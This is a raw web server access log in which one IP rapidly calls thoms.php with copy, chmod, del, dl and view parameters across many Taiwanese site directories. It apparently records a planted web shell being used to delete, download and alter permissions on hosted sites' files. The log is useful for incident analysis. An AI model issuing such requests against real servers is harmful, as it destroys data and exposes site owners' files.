45.135.193.11 - - [12/Sep/2026:00:02:12 -0400] "GET /broadweb.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12411 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:12 -0400] "GET /broadweb.com.tw/thoms.php?chmod=upgrade-20260912023806&p= HTTP/1.1" 200 11453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:13 -0400] "GET /broadweb.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:13 -0400] "GET /broadweb.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:13 -0400] "GET /broadweb.com.tw/thoms.php?copy=bodbooks.com-20260912023809&p= HTTP/1.1" 200 12373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:13 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11930 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:13 -0400] "GET /broadweb.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:13 -0400] "GET /broadweb.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:14 -0400] "GET /broadweb.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:14 -0400] "GET /broadweb.com.tw/thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17699 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:14 -0400] "GET /broadweb.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:14 -0400] "GET /broadweb.com.tw/thoms.php?chmod=beauty-dental.com-20260912023807&p= HTTP/1.1" 200 11450 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:14 -0400] "GET /broadweb.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:14 -0400] "GET /broadweb.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:14 -0400] "GET /broadweb.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:15 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22625 "https://163.245.207.76/broadweb.com.tw/thoms.php?copy=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:15 -0400] "GET /broadweb.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 14185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:15 -0400] "GET /broadweb.com.tw/thoms.php?chmod=wp-content-20260912023544&p= HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:15 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bioway88.com-20260912023827&p= HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:15 -0400] "GET /broadweb.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16550 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:16 -0400] "GET /broadweb.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:16 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:16 -0400] "GET /broadweb.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 22676 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:16 -0400] "GET /broadweb.com.tw/thoms.php?p=wp-content HTTP/1.1" 200 13963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:16 -0400] "GET /broadweb.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 22480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:17 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=error_log-20260912023633. HTTP/1.1" 200 12245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:17 -0400] "GET /broadweb.com.tw/thoms.php?copy=error_log-20260912023633.&p= HTTP/1.1" 200 12414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:18 -0400] "GET /broadweb.com.tw/thoms.php?dl=mah-20260912023710.php&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:18 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:18 -0400] "GET /broadweb.com.tw/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:18 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22616 "https://163.245.207.76/broadweb.com.tw/thoms.php?p=&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:18 -0400] "GET /broadweb.com.tw/thoms.php?copy=ba-guo.com-20260912023525&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:19 -0400] "GET /broadweb.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:19 -0400] "GET /broadweb.com.tw/thoms.php?chmod=biotaiwan.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:19 -0400] "GET /broadweb.com.tw/thoms.php?copy=bioway88.com-20260912023827&p= HTTP/1.1" 200 12415 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:19 -0400] "GET /broadweb.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:19 -0400] "GET /broadweb.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 13111 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12420 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?p=betcity.com.tw HTTP/1.1" 200 20830 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 22672 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 12417 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?del=upgrade-20260912023806&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?copy=mah-20260912023710.php&p= HTTP/1.1" 200 12418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?chmod=big-wife.com.tw&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?del=betcity.com-20260912023741&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:20 -0400] "GET /broadweb.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12412 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?del=error_log-20260912023633.&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17510 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22679 "https://163.245.207.76/broadweb.com.tw/thoms.php?chmod=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?copy=betcity.com-20260912023741&p= HTTP/1.1" 200 12400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12392 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?copy=thoms-20260912023711.php&p= HTTP/1.1" 200 12408 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?del=beauty-dental.com-20260912023807&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bodbooks.com-20260912023809&p= HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12413 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?copy=besth2o.com-20260912023731&p= HTTP/1.1" 200 12400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?chmod=biotaiwan.com-20260912023713&p= HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?del=bossini.com.tw&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12545 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?dl=thoms-20260912023711.php&p= HTTP/1.1" 200 22666 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 22654 "https://163.245.207.76/broadweb.com.tw/thoms.php?p=&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:21 -0400] "GET /broadweb.com.tw/thoms.php?copy=beauty-dental.com-20260912023807&p= HTTP/1.1" 200 12405 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?del=bfl.com-20260912023804&p= HTTP/1.1" 200 22646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=biotaiwan.com-20260912023713 HTTP/1.1" 200 17548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 22657 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17525 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?chmod=thoms-20260912023711.php&p= HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=&view=error_log HTTP/1.1" 200 12648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?copy=upgrade&p= HTTP/1.1" 200 12402 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?chmod=broadweb.com-20260912023716&p= HTTP/1.1" 200 11448 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=bfl.com-20260912023804 HTTP/1.1" 200 17310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?copy=error_log&p= HTTP/1.1" 200 12387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12410 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:22 -0400] "GET /broadweb.com.tw/thoms.php?p=upgrade-20260912023806 HTTP/1.1" 200 13564 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
